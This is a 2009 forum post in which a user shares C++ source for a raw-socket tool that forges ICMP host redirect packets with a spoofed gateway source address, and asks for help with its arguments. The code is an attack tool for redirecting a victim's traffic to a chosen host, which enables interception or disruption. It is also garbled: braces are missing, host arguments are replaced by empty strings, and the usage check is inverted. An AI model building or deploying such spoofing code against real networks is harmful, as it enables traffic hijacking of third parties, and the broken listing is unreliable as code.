ICMP Redirect Games

ICMP Redirect Games

Post by AgentSmithers on Sun Mar 15, 2009 5:40 pm
([msg=20020]see ICMP Redirect Games[/msg])

Code: Select all

#include <config.h>

#include <iostream>
#include <cstdlib>

using namespace std;

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netdb.h>
#include <syslog.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>
#include <netinet/ip.h>

#define IPVERSION       4

struct raw_pkt {
        struct iphdr ip; /* This is Linux-style iphdr.
                            Use BSD-style struct ip if you want */
        struct icmphdr icmp;
        struct iphdr encl_iphdr;
        char encl_ip_data[8];

struct raw_pkt* pkt;

void die(char *);
unsigned long int get_ip_addr(char*);
unsigned short checksum(unsigned short*,char);

int main(int argc,char** argv){

  cout << "Hello, world!" << endl;

struct sockaddr_in sa;
int sock,packet_len;
char usage[]={"icmp_redir: send out custom ICMP host redirect packet.\
usage: icmp_redir gw_host targ_host dst_host dummy_host\n"};
char on = 1;

if(argc == 5)die(usage);

if( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){

sa.sin_addr.s_addr = get_ip_addr(""); //Argv2 Target
sa.sin_family = AF_INET;

packet_len = sizeof(struct raw_pkt);
pkt = (raw_pkt *)calloc((size_t)1,(size_t)packet_len);

pkt->ip.version = IPVERSION;
pkt->ip.ihl = sizeof(struct iphdr) >> 2;
pkt->ip.tos = 0;
pkt->ip.tot_len = htons(packet_len);
pkt->ip.id = htons(getpid() & 0xFFFF);
pkt->ip.frag_off = 0;
pkt->ip.ttl = 0x40;
pkt->ip.protocol = IPPROTO_ICMP;
pkt->ip.check = 0;
pkt->ip.saddr = get_ip_addr(""); //Argv1 GWHost
pkt->ip.daddr = sa.sin_addr.s_addr;
pkt->ip.check = checksum((unsigned short*)pkt,sizeof(struct iphdr));

pkt->icmp.type = ICMP_REDIRECT;
pkt->icmp.code = ICMP_REDIR_HOST;
pkt->icmp.checksum = 0;
pkt->icmp.un.gateway = get_ip_addr(""); //Argv4 Dummy Host

memcpy(&(pkt->encl_iphdr),pkt,sizeof(struct iphdr));
pkt->encl_iphdr.protocol = IPPROTO_IP;
pkt->encl_iphdr.saddr = get_ip_addr(""); //Argv2 Target
pkt->encl_iphdr.daddr = get_ip_addr(""); //Argv3 Dest
pkt->encl_iphdr.check = 0;
pkt->encl_iphdr.check = checksum((unsigned short*)&(pkt->encl_iphdr),
        sizeof(struct iphdr));

pkt->icmp.checksum = checksum((unsigned short*)&(pkt->icmp),
        sizeof(struct raw_pkt)-sizeof(struct iphdr));

if (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on)) < 0) {
        perror("setsockopt: IP_HDRINCL");

if(sendto(sock,pkt,packet_len,0,(struct sockaddr*)&sa,sizeof(sa)) < 0){

void die(char* str){

unsigned long int get_ip_addr(char* str){

struct hostent *hostp;
unsigned long int addr;

if( (addr = inet_addr(str)) == -1){
        if( (hostp = gethostbyname(str)))
                return *(unsigned long int*)(hostp->h_addr);
        else {
                fprintf(stderr,"unknown host %s\n",str);
return addr;

unsigned short checksum(unsigned short* addr,char len){
register long sum = 0;

while(len > 1){
        sum += *addr++;
        len -= 2;
if(len > 0) sum += *addr;
while (sum>>16) sum = (sum & 0xffff) + (sum >> 16);

return ~sum;

I wrote this out so i can execute it from plane source is the computer im sending it two with wireshark and is my router and is the fake address nothing is using that IP on the network. And whats the difference between targ_host and dst_host. I have those confused, reading the RFC's it shows my 8Byte char array has to be a copy of part of the last packet they sent to lead to that responce. Any Enlightment?
My General Computer Forum, From Security To Programming And Back To Troubleshooting.
New User
New User
Posts: 21
Joined: Thu Feb 12, 2009 12:27 pm
Location: Palm Springs
Blog: View Blog (0)

Return to C and C++

Who is online

Users browsing this forum: No registered users and 0 guests